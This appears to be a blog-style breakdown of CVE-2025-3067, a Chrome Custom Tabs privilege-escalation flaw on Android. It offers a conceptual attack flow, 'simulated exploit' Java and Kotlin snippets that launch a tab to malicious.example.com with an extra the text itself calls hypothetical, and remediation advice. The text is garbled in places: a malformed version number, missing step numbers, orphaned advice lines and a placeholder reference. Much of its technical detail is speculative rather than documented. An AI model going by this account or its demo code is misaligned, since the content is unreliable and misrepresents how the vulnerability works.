CVE-2025-3067 - Exploiting Chrome Custom Tabs on Android for Privilege Escalation (Full Breakdown & Demo Code)

---

CVE-2025-3067 is a medium-severity vulnerability reported in March 2025, specifically impacting how Google Chrome on Android handled "Custom Tabs" before version 135..7049.52. This bug gave a remote attacker the means, if a user could be tricked into a certain set of on-screen actions, to leverage a specially crafted Android app and escalate privileges beyond what they should have in the browser context.

In this deep-dive, we'll break down the flaw, show a conceptual attack, link official sources, and provide sample code to help you understand the mechanics behind CVE-2025-3067.

What Are Chrome Custom Tabs?

Custom Tabs let Android apps launch a Chrome-powered browser window within the app for a seamless user experience. They use the Chrome rendering engine and sandbox but can customize UI or pass in specific intents.

Problem is: When security around these handoffs is weak, it can be abused.

The Inappropriate Implementation

Prior to version 135..7049.52, Chrome's handling of intents for Custom Tabs did not sufficiently verify the origin and context of incoming requests. A malicious app could launch a Custom Tab with intentionally crafted parameters. Then, by tricking the user into specific UI interactions (like pressing some buttons, clicking links, or approving dialogs), the attacker could escalate their privileges within Chrome. This is a privilege escalation bug, meaning an app could perform actions as if it were part of Chrome or access resources it shouldn't.

Official References

- Chromium CVE-2025-3067 on Chromium Issue Tracker *(Example link; may not be public)*
- Chrome Release Notes
- Google Chrome Custom Tabs Documentation

How a Malicious App Can Exploit This

Let's say an attacker writes an app. This app uses Android's Intent system to open a Chrome Custom Tab. By passing parameter flags Chrome's Custom Tabs failed to fully check (prior to the patch), the attacker gets the Custom Tab to do more than it should. For example, the Custom Tab might:

Redirect Chrome to perform actions as the user

The trick is, the attacker still often needs you (the victim) to tap or approve something – it's not totally invisible.

Build a Malicious Android App: This app spawns a Custom Tab with a crafted Intent.

2. Target the Victim: Prompt the user to interact with the app in a certain way ("Tap this button to claim your reward!").

Launch Chrome Custom Tab: The app launches the tab with crafted data or flags.

4. Escalation Via Gestures: The user clicks/taps/approves via the Chrome UI presented, unknowingly delegating more rights than expected.

Code Example: Simulated Exploit

This Android Java/Kotlin code demonstrates how an (attacker’s) app might launch a Custom Tab with risky parameters:

// Java Example
import android.content.Intent;
import android.net.Uri;
import androidx.browser.customtabs.CustomTabsIntent;

// Suppose this is inside a malicious Activity
String exploitUrl = "https://malicious.example.com/abuse.html";;
// Attacker may try to add intent extras to exploit privilege
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(exploitUrl));

// Possible (risky) extras
intent.putExtra("EXTRA_PRIVILEGED_ACTION", true);
intent.setPackage("com.android.chrome");  // Force use of Chrome

// Launch Custom Tab
startActivity(intent);

Or, using the official Custom Tabs API

// Kotlin Example
val url = "https://malicious.example.com/abuse.html";
val builder = CustomTabsIntent.Builder()

// Attacker might try passing undocumented or conflicting extras here
val intent = builder.build().intent
intent.putExtra("EXTRA_PRIVILEGED_ACTION", true) // Hypothetical bad flag
intent.setPackage("com.android.chrome")

startActivity(intent.apply { data = Uri.parse(url) })

*Note*: The actual attack vector may involve subtler or undocumented extras/flags which Chrome failed to sanitize before patch 135..7049.52.

App launches Chrome Custom Tab to attacker's server with privileged intent extras.

5. The web page tries to exploit Chrome's internal context, maybe by using a vulnerable JavaScript bridge or requesting sensitive permissions, pre-authorized due to the Custom Tab misconfiguration.

Only install trusted apps from Google Play.

- Be wary of apps that frequently launch browser windows or ask you to interact with Chrome’s UI in odd ways.

Remediation

Google fixed this by tightening checks in Chrome’s intent handling. Crafted/malicious extras/flags are now ignored or sanitized. UI gesture interactions are limited in what they can trigger through Custom Tabs.

If you're a developer, *never* programmatically pass custom, undocumented flags or request Chrome to do more than show a web page.

Conclusion

CVE-2025-3067 is yet another example of why tight checks between app boundaries on Android are essential. Apps should never be able to escalate web privileges for users, even with a bit of user interaction.

If you’re an Android user, update your Chrome. If you’re a developer, see this guide on proper Intent handling.

For more details on CVEs and mitigations

- NVD Entry for CVE-2025-3067
- Google Chrome Security Page

Timeline

Published on: 04/02/2025 01:15:38 UTC
Last modified on: 04/08/2025 14:03:21 UTC